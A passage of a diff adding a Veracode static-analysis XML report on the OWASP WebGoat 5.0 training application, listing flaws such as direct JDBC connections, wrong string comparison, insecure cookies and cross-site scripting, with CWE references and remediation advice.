+        functionprototype=\"java.sql.Connection makeConnection(WebSession)\" functionrelativelocation=\"93\"/>\n<flaw
+        severity=\"2\" categoryname=\"J2EE Bad Practices: Direct Management of Connections\"
+        count=\"1\" issueid=\"41\" module=\"WebGoat-5.0-with-jsp.war\" type=\"java.sql.DriverManager.getConnection\"
+        description=\"This call to getConnection() fails to use the J2EE container's
+        resource management facilities as required by the J2EE standard.\r\n\r\nRequest
+        the connection from the container rather than attempting to access it directly.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/245.html)\r\n\r\n\" note=\"\"
+        cweid=\"245\" remediationeffort=\"2\" exploitLevel=\"0\" categoryid=\"7\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"nnp\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"DatabaseUtilities.java\"
+        line=\"78\" sourcefilepath=\"org/owasp/webgoat/session/\" scope=\"org.owasp.webgoat.session.DatabaseUtilities\"
+        functionprototype=\"java.sql.Connection makeConnection(java.lang.String, java.lang.String)\"
+        functionrelativelocation=\"90\"/>\n<flaw severity=\"2\" categoryname=\"J2EE
+        Bad Practices: Direct Management of Connections\" count=\"1\" issueid=\"26\"
+        module=\"WebGoat-5.0-with-jsp.war\" type=\"java.sql.DriverManager.getConnection\"
+        description=\"This call to getConnection() fails to use the J2EE container's
+        resource management facilities as required by the J2EE standard.\r\n\r\nRequest
+        the connection from the container rather than attempting to access it directly.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/245.html)\r\n\r\n\" note=\"\"
+        cweid=\"245\" remediationeffort=\"2\" exploitLevel=\"0\" categoryid=\"7\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"nnp\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"DatabaseUtilities.java\"
+        line=\"97\" sourcefilepath=\"org/owasp/webgoat/session/\" scope=\"org.owasp.webgoat.session.DatabaseUtilities\"
+        functionprototype=\"java.sql.Connection makeConnection(void)\" functionrelativelocation=\"72\"/>\n<flaw
+        severity=\"2\" categoryname=\"J2EE Bad Practices: Direct Management of Connections\"
+        count=\"1\" issueid=\"253\" module=\"WebGoat-5.0-with-jsp.war\" type=\"java.sql.DriverManager.getConnection\"
+        description=\"This call to getConnection() fails to use the J2EE container's
+        resource management facilities as required by the J2EE standard.\r\n\r\nRequest
+        the connection from the container rather than attempting to access it directly.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/245.html)\r\n\r\n\" note=\"\"
+        cweid=\"245\" remediationeffort=\"2\" exploitLevel=\"0\" categoryid=\"7\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"nnp\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"DatabaseUtilities.java\"
+        line=\"105\" sourcefilepath=\"org/owasp/webgoat/session/\" scope=\"org.owasp.webgoat.session.DatabaseUtilities\"
+        functionprototype=\"java.sql.Connection makeConnection(void)\" functionrelativelocation=\"93\"/>\n</staticflaws>\n</cwe>\n</category>\n<category
+        categoryid=\"17\" categoryname=\"Code Quality\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"Code quality issues stem from failure to follow good coding practices
+        and can lead to unpredictable behavior. These may include but are not limited
+        to:\">\n<bulletitem text=\"Neglecting to remove debug code or dead code\"/>\n<bulletitem
+        text=\"Improper resource management, such as using a pointer after it has
+        been freed\"/>\n<bulletitem text=\"Using the incorrect operator to compare
+        objects\"/>\n<bulletitem text=\"Failing to follow an API or framework specification\"/>\n<bulletitem
+        text=\"Using a language feature or API in an unintended manner\"/>\n</para>\n<para
+        text=\"While code quality flaws are generally less severe than other categories
+        and usually are not directly exploitable, they may serve as indicators that
+        developers are not following practices that increase the reliability and security
+        of an application.  For an attacker, code quality issues may provide an opportunity
+        to stress the application in unexpected ways.\"/>\n</desc>\n<recommendations>\n<para
+        text=\"The wide variance of code quality issues makes it impractical to generalize
+        how these issues should be addressed.  Refer to individual categories for
+        specific recommendations. \"/>\n</recommendations>\n<cwe cweid=\"597\" cwename=\"Use
+        of Wrong Operator in String Comparison\" pcirelated=\"false\" certjava=\"847\">\n<description>\n<text
+        text=\"Using '==' to compare two strings for equality or '!=' for inequality
+        actually compares the object references rather than their values.  It is unlikely
+        that this reflects the intended application logic.\"/>\n</description>\n<staticflaws>\n<flaw
+        severity=\"2\" categoryname=\"Use of Wrong Operator in String Comparison\"
+        count=\"1\" issueid=\"176\" module=\"WebGoat-5.0-with-jsp.war\" type=\"span.neq\"
+        description=\"Using '==' to compare two strings for equality actually compares
+        the object references rather than their values. It is unlikely that this reflects
+        the intended application logic.\r\n\r\nUse the equals() method to compare
+        strings, not the '==' operator.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/597.html)\r\n\r\n\"
+        note=\"\" cweid=\"597\" remediationeffort=\"1\" exploitLevel=\"-1\" categoryid=\"17\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"pnn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"WeakAuthenticationCookie.java\"
+        line=\"142\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.WeakAuthenticationCookie\"
+        functionprototype=\"java.lang.String checkParams(session.WebSession)\" functionrelativelocation=\"70\"/>\n<flaw
+        severity=\"2\" categoryname=\"Use of Wrong Operator in String Comparison\"
+        count=\"1\" issueid=\"203\" module=\"WebGoat-5.0-with-jsp.war\" type=\"span.neq\"
+        description=\"Using '==' to compare two strings for equality actually compares
+        the object references rather than their values. It is unlikely that this reflects
+        the intended application logic.\r\n\r\nUse the equals() method to compare
+        strings, not the '==' operator.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/597.html)\r\n\r\n\"
+        note=\"\" cweid=\"597\" remediationeffort=\"1\" exploitLevel=\"-1\" categoryid=\"17\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"pnn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"XMLInjection.java\"
+        line=\"280\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.XMLInjection\"
+        functionprototype=\"apache.ecs.Element createContent(session.WebSession)\"
+        functionrelativelocation=\"85\"/>\n<flaw severity=\"2\" categoryname=\"Use
+        of Wrong Operator in String Comparison\" count=\"1\" issueid=\"248\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"span.neq\" description=\"Using '==' to compare two strings for equality
+        actually compares the object references rather than their values. It is unlikely
+        that this reflects the intended application logic.\r\n\r\nUse the equals()
+        method to compare strings, not the '==' operator.\r\n\r\nReferences: \r\nCWE
+        (http://cwe.mitre.org/data/definitions/597.html)\r\n\r\n\" note=\"\" cweid=\"597\"
+        remediationeffort=\"1\" exploitLevel=\"-1\" categoryid=\"17\" pcirelated=\"false\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"pnn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"XMLInjection.java\"
+        line=\"282\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.XMLInjection\"
+        functionprototype=\"apache.ecs.Element createContent(session.WebSession)\"
+        functionrelativelocation=\"86\"/>\n<flaw severity=\"2\" categoryname=\"Use
+        of Wrong Operator in String Comparison\" count=\"1\" issueid=\"164\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"span.neq\" description=\"Using '==' to compare two strings for equality
+        actually compares the object references rather than their values. It is unlikely
+        that this reflects the intended application logic.\r\n\r\nUse the equals()
+        method to compare strings, not the '==' operator.\r\n\r\nReferences: \r\nCWE
+        (http://cwe.mitre.org/data/definitions/597.html)\r\n\r\n\" note=\"\" cweid=\"597\"
+        remediationeffort=\"1\" exploitLevel=\"-1\" categoryid=\"17\" pcirelated=\"false\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"pnn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"XMLInjection.java\"
+        line=\"292\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.XMLInjection\"
+        functionprototype=\"apache.ecs.Element createContent(session.WebSession)\"
+        functionrelativelocation=\"93\"/>\n</staticflaws>\n</cwe>\n</category>\n<category
+        categoryid=\"12\" categoryname=\"Cryptographic Issues\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"Applications commonly use cryptography to implement authentication
+        mechanisms and to ensure the confidentiality and integrity of sensitive data,
+        both in transit and at rest.  The proper and accurate implementation of cryptography
+        is extremely critical to its efficacy.  Configuration or coding mistakes as
+        well as incorrect assumptions may negate a large degree of the protection
+        it affords, leaving the crypto implementation vulnerable to attack.\"/>\n<para
+        text=\"Common cryptographic mistakes include, but are not limited to, selecting
+        weak keys or weak cipher modes, unintentionally exposing sensitive cryptographic
+        data, using predictable entropy sources, and mismanaging or hard-coding keys.
+        \ \"/>\n<para text=\"Developers often make the dangerous assumption that they
+        can improve security by designing their own cryptographic algorithm; however,
+        one of the basic tenets of cryptography is that any cipher whose effectiveness
+        is reliant on the secrecy of the algorithm is fundamentally flawed.  \"/>\n</desc>\n<recommendations>\n<para
+        text=\"Select the appropriate type of cryptography for the intended purpose.
+        \ Avoid proprietary encryption algorithms as they typically rely on &quot;security
+        through obscurity&quot; rather than sound mathematics.  Select key sizes appropriate
+        for the data being protected; for high assurance applications, 256-bit symmetric
+        keys and 2048-bit asymmetric keys are sufficient.  Follow best practices for
+        key storage, and ensure that plaintext data and key material are not inadvertently
+        exposed.\"/>\n</recommendations>\n<cwe cweid=\"614\" cwename=\"Sensitive Cookie
+        in HTTPS Session Without 'Secure' Attribute\" pcirelated=\"false\" owasp=\"934\"
+        sans=\"311\">\n<description>\n<text text=\"Setting the Secure attribute on
+        an HTTP cookie instructs the web browser to send it only over a secure channel,
+        such as an SSL connection.  Issuing a cookie without the Secure attribute
+        allows the browser to transmit it over unencrypted connections, which are
+        susceptible to eavesdropping.  It is particularly important to set the Secure
+        attribute on any cookies containing sensitive data, such as authentication
+        information (e.g. &quot;remember me&quot; style functionality).\"/>\n</description>\n<staticflaws>\n<flaw
+        severity=\"2\" categoryname=\"Sensitive Cookie in HTTPS Session Without 'Secure'
+        Attribute\" count=\"1\" issueid=\"158\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.http.HttpServletResponse.addCookie\" description=\"This
+        call to javax.servlet.http.HttpServletResponse.addCookie() adds a cookie to
+        the HTTP response that does not have the Secure attribute set. Failing to
+        set this attribute allows the browser to send the cookie unencrypted over
+        an HTTP session.\r\n\r\nSet the Secure attribute for all cookies used by HTTPS
+        sessions.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/614.html)
+        \r\nWASC (http://webappsec.pbworks.com/Insufficient-Transport-Layer-Protection)\r\n\r\n\"
+        note=\"\" cweid=\"614\" remediationeffort=\"1\" exploitLevel=\"0\" categoryid=\"12\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"pnn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Challenge2Screen.java\"
+        line=\"172\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.Challenge2Screen\"
+        functionprototype=\"apache.ecs.Element doStage1(session.WebSession)\" functionrelativelocation=\"94\"/>\n<flaw
+        severity=\"2\" categoryname=\"Sensitive Cookie in HTTPS Session Without 'Secure'
+        Attribute\" count=\"1\" issueid=\"154\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.http.HttpServletResponse.addCookie\" description=\"This
+        call to javax.servlet.http.HttpServletResponse.addCookie() adds a cookie to
+        the HTTP response that does not have the Secure attribute set. Failing to
+        set this attribute allows the browser to send the cookie unencrypted over
+        an HTTP session.\r\n\r\nSet the Secure attribute for all cookies used by HTTPS
+        sessions.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/614.html)
+        \r\nWASC (http://webappsec.pbworks.com/Insufficient-Transport-Layer-Protection)\r\n\r\n\"
+        note=\"\" cweid=\"614\" remediationeffort=\"1\" exploitLevel=\"0\" categoryid=\"12\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"pnn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Challenge2Screen.java\"
+        line=\"193\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.Challenge2Screen\"
+        functionprototype=\"apache.ecs.Element doStage2(session.WebSession)\" functionrelativelocation=\"3\"/>\n<flaw
+        severity=\"2\" categoryname=\"Sensitive Cookie in HTTPS Session Without 'Secure'
+        Attribute\" count=\"1\" issueid=\"159\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.http.HttpServletResponse.addCookie\" description=\"This
+        call to javax.servlet.http.HttpServletResponse.addCookie() adds a cookie to
+        the HTTP response that does not have the Secure attribute set. Failing to
+        set this attribute allows the browser to send the cookie unencrypted over
+        an HTTP session.\r\n\r\nSet the Secure attribute for all cookies used by HTTPS
+        sessions.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/614.html)
+        \r\nWASC (http://webappsec.pbworks.com/Insufficient-Transport-Layer-Protection)\r\n\r\n\"
+        note=\"\" cweid=\"614\" remediationeffort=\"1\" exploitLevel=\"0\" categoryid=\"12\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"pnn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"WeakAuthenticationCookie.java\"
+        line=\"146\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.WeakAuthenticationCookie\"
+        functionprototype=\"java.lang.String checkParams(session.WebSession)\" functionrelativelocation=\"89\"/>\n<flaw
+        severity=\"2\" categoryname=\"Sensitive Cookie in HTTPS Session Without 'Secure'
+        Attribute\" count=\"1\" issueid=\"19\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.http.HttpServletResponse.addCookie\" description=\"This
+        call to javax.servlet.http.HttpServletResponse.addCookie() adds a cookie to
+        the HTTP response that does not have the Secure attribute set. Failing to
+        set this attribute allows the browser to send the cookie unencrypted over
+        an HTTP session.\r\n\r\nSet the Secure attribute for all cookies used by HTTPS
+        sessions.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/614.html)
+        \r\nWASC (http://webappsec.pbworks.com/Insufficient-Transport-Layer-Protection)\r\n\r\n\"
+        note=\"\" cweid=\"614\" remediationeffort=\"1\" exploitLevel=\"0\" categoryid=\"12\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"pnn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"WeakSessionID.java\"
+        line=\"209\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.WeakSessionID\"
+        functionprototype=\"apache.ecs.Element makeLogin(session.WebSession)\" functionrelativelocation=\"8\"/>\n<flaw
+        severity=\"2\" categoryname=\"Sensitive Cookie in HTTPS Session Without 'Secure'
+        Attribute\" count=\"1\" issueid=\"52\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.http.HttpServletResponse.addCookie\" description=\"This
+        call to javax.servlet.http.HttpServletResponse.addCookie() adds a cookie to
+        the HTTP response that does not have the Secure attribute set. Failing to
+        set this attribute allows the browser to send the cookie unencrypted over
+        an HTTP session.\r\n\r\nSet the Secure attribute for all cookies used by HTTPS
+        sessions.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/614.html)
+        \r\nWASC (http://webappsec.pbworks.com/Insufficient-Transport-Layer-Protection)\r\n\r\n\"
+        note=\"\" cweid=\"614\" remediationeffort=\"1\" exploitLevel=\"0\" categoryid=\"12\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"pnn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"WebSession.java\"
+        line=\"335\" sourcefilepath=\"org/owasp/webgoat/session/\" scope=\"org.owasp.webgoat.session.WebSession\"
+        functionprototype=\"void eatCookies()\" functionrelativelocation=\"79\"/>\n</staticflaws>\n</cwe>\n</category>\n</severity>\n<severity
+        level=\"1\"/>\n<severity level=\"0\">\n<category categoryid=\"20\" categoryname=\"Cross-Site
+        Scripting\" pcirelated=\"false\">\n<desc>\n<para text=\"Cross-site scripting
+        (XSS) attacks occur when an attacker uses a web application to send malicious
+        code, generally in the form of a browser side script, to a different end user.
+        Flaws that allow these attacks to succeed occur whenever a web application
+        uses untrusted data in the output it generates without validating or encoding
+        it.  XSS vulnerabilities are commonly exploited to steal or manipulate cookies,
+        modify presentation of content, and compromise sensitive information, with
+        new attack vectors being discovered on a regular basis.  XSS is also commonly
+        referred to as HTML injection.\"/>\n<para text=\"XSS vulnerabilities can be
+        either persistent or transient (often referred to as stored and reflected,
+        respectively).  In a persistent XSS vulnerability, the injected code is stored
+        by the application, for example within a blog comment or message board.  The
+        attack occurs whenever a victim views the page containing the malicious script.
+        \ In a transient XSS vulnerability, the injected code is included directly
+        in the HTTP request.  These attacks are often carried out via malicious URLs
+        sent via email or another website and requires the victim to browse to that
+        link.  The consequence of an XSS attack to a victim is the same regardless
+        of whether it is persistent or transient; however, persistent XSS vulnerabilities
+        are likely to affect a greater number of victims due to its delivery mechanism.\"/>\n</desc>\n<recommendations>\n<para
+        text=\"Several techniques can be used to prevent XSS attacks. These techniques
+        complement each other and address security at different points in the application.
+        Using multiple techniques provides defense-in-depth and minimizes the likelihood
+        of a XSS vulnerability.\">\n<bulletitem text=\"Use output filtering to sanitize
+        all output generated from user-supplied input, selecting the appropriate method
+        of encoding based on the use case of the untrusted data.  For example, if
+        the data is being written to the body of an HTML page, use HTML entity encoding.
+        \ However, if the data is being used to construct generated Javascript or
+        if it is consumed by client-side methods that may interpret it as code (a
+        common technique in Web 2.0 applications), additional restrictions may be
+        necessary beyond simple HTML encoding.\"/>\n<bulletitem text=\"Validate user-supplied
+        input using positive filters (white lists) to ensure that it conforms to the
+        expected format, using centralized data validation routines when possible.
+        \"/>\n<bulletitem text=\"Do not permit users to include HTML content in posts,
+        notes, or other data that will be displayed by the application.  If users
+        are permitted to include HTML tags, then carefully limit access to specific
+        elements or attributes, and use strict validation filters to prevent abuse.\"/>\n</para>\n</recommendations>\n<cwe
+        cweid=\"80\" cwename=\"Improper Neutralization of Script-Related HTML Tags
+        in a Web Page (Basic XSS)\" pcirelated=\"false\" owasp=\"931\" sans=\"79\">\n<description>\n<text
+        text=\"This call contains a cross-site scripting (XSS) flaw.  The application
+        populates the HTTP response with user-supplied input, allowing an attacker
+        to embed malicious content, such as Javascript code, which will be executed
+        in the context of the victim's browser.  XSS vulnerabilities are commonly
+        exploited to steal or manipulate cookies, modify presentation of content,
+        and compromise confidential information, with new attack vectors being discovered
+        on a regular basis.\"/>\n</description>\n<staticflaws>\n<flaw severity=\"0\"
+        categoryname=\"Improper Neutralization of Script-Related HTML Tags in a Web
+        Page (Basic XSS)\" count=\"1\" issueid=\"184\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile.jsp\"
+        line=\"89\" sourcefilepath=\"/lessons/RoleBasedAccessControl/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"56\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"240\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile.jsp\"
+        line=\"94\" sourcefilepath=\"/lessons/RoleBasedAccessControl/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"60\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"177\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getUserNameInLesson().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"52\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"15\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"63\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getUserNameInLesson().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
